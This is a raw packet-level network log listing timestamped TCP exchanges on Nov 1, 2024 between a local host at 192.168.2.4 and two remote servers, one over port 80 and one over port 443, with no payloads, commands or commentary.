Nov 1, 2024 13:42:24.850030899 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:25.029366016 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:25.034270048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:25.278060913 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:25.278080940 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:25.278096914 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:25.278151035 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:25.278196096 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:25.281495094 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:25.286400080 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:25.530345917 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:25.534193039 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:25.806829929 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:25.811732054 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.056950092 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.057301998 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.223321915 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.223418951 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.228472948 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.228507996 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.228518009 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.228527069 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.228537083 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.228545904 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.228589058 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.228625059 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.228660107 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.228671074 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.228687048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.228709936 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.228722095 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.228722095 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.230371952 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.233239889 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233252048 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233283997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233294010 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233304024 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233310938 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.233314037 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233334064 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.233366966 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.233412027 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233489037 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233505964 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233545065 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233561993 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.233594894 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.233628988 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233711958 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233740091 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.233767986 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.233791113 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.237941027 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238109112 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238188028 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.238229990 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238331079 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238404989 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.238521099 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238532066 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238543987 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238640070 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238651037 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238677979 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238687038 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238737106 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238746881 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238837957 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238847017 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238862991 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238873959 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238926888 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238936901 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.238991976 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.239001036 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.239057064 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.239067078 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.239146948 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.239157915 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.242774010 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.242786884 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243134022 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243144989 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243161917 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243197918 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243206978 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243243933 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243253946 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243262053 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243288994 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243299007 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243360996 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243371010 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243387938 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243396997 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243421078 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243489981 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243499994 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243511915 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.243552923 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.860287905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:26.860450983 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.916002989 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:26.921084881 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:27.165273905 CET	80	49754	95.215.207.176	192.168.2.4
Nov 1, 2024 13:42:27.165456057 CET	49754	80	192.168.2.4	95.215.207.176
Nov 1, 2024 13:42:27.212374926 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:27.212434053 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:27.212496042 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:27.237097025 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:27.237149954 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.137511969 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.137662888 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.188431978 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.188463926 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.188879013 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.188937902 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.199450970 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.247332096 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.586242914 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.586277008 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.586293936 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.586554050 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.586554050 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.586599112 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.586658001 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.608978987 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.609004021 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.609086037 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.609129906 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.609179020 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.705542088 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.705568075 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.705679893 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.705724955 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.705776930 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.748594999 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.748620033 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.748730898 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.748750925 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.748825073 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.749841928 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.749867916 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.749922991 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.749934912 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.749979973 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.817460060 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.817493916 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.817563057 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.817588091 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.817636967 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.817653894 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.826426029 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.826447964 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.826539040 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.826550961 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.826598883 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.888950109 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.888972998 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.889064074 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.889079094 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.889127970 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.890404940 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.890422106 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.890491962 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.890501976 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.890548944 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.890937090 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.890959978 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.891019106 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.891026974 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.891057014 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.891067982 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.891654968 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.891670942 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.891735077 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.891742945 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.891787052 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.895395041 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.895411015 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.895490885 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.895500898 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.895545006 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.937036037 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.937064886 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.937266111 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.937298059 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.937355042 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.958151102 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.958172083 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.958270073 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.958283901 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.958333969 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.965436935 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.965456963 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.965516090 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.965527058 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:28.965580940 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:28.965594053 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.028212070 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.028240919 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.028356075 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.028388023 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.028460026 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.028537989 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.028556108 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.028604984 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.028621912 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.028665066 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.029223919 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.029241085 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.029308081 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.029316902 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.029329062 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.029360056 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.029670954 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.029687881 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.029743910 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.029752016 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.029791117 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.034105062 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.034122944 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.034203053 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.034213066 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.034255028 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.034760952 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.034780979 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.034830093 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.034837961 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.034864902 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.034883976 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.035381079 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.035398960 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.035470009 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.035479069 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.035521030 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.035758972 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.035777092 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.035845041 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.035852909 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.035898924 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.036602020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.036617041 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.036689043 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.036696911 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.036741018 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.037000895 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.037018061 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.037111044 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.037111044 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.037120104 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.037166119 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.037744045 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.037763119 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.037827969 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.037834883 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.037882090 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.056343079 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.056361914 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.056435108 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.056453943 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.056503057 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.098361969 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.098392963 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.098448038 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.098464012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.098531008 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.098543882 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.098829031 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.098850012 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.098886013 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.098892927 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.098948002 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.099148989 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.099169970 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.099200964 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.099210024 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.099226952 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.099241018 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.099271059 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.099595070 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.099610090 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.099656105 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.099664927 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.099677086 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.099700928 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.105995893 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.106019020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.106076002 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.106085062 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.106115103 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.106132984 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.168634892 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.168658972 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.168715000 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.168740988 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.168767929 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.168801069 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.168818951 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.168818951 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.168853045 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.169034958 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.169051886 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.169086933 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.169097900 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.169121981 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.169136047 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.169410944 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.169431925 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.169476032 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.169486046 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.169500113 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.169523954 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.169749975 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.169765949 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.169800997 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.169810057 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.169833899 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.169848919 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.170032024 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.170047998 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.170089006 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.170099020 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.170114994 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.170145988 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.170424938 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.170440912 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.170488119 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.170497894 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.170540094 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.170773029 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.170789003 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.170835018 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.170844078 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.170876980 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.171163082 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.171183109 CET	443	49762	87.106.236.48	192.168.2.4
Nov 1, 2024 13:42:29.171205044 CET	49762	443	192.168.2.4	87.106.236.48
Nov 1, 2024 13:42:29.171216011 CET	443	49762	87.106.236.48	192.168.2.4
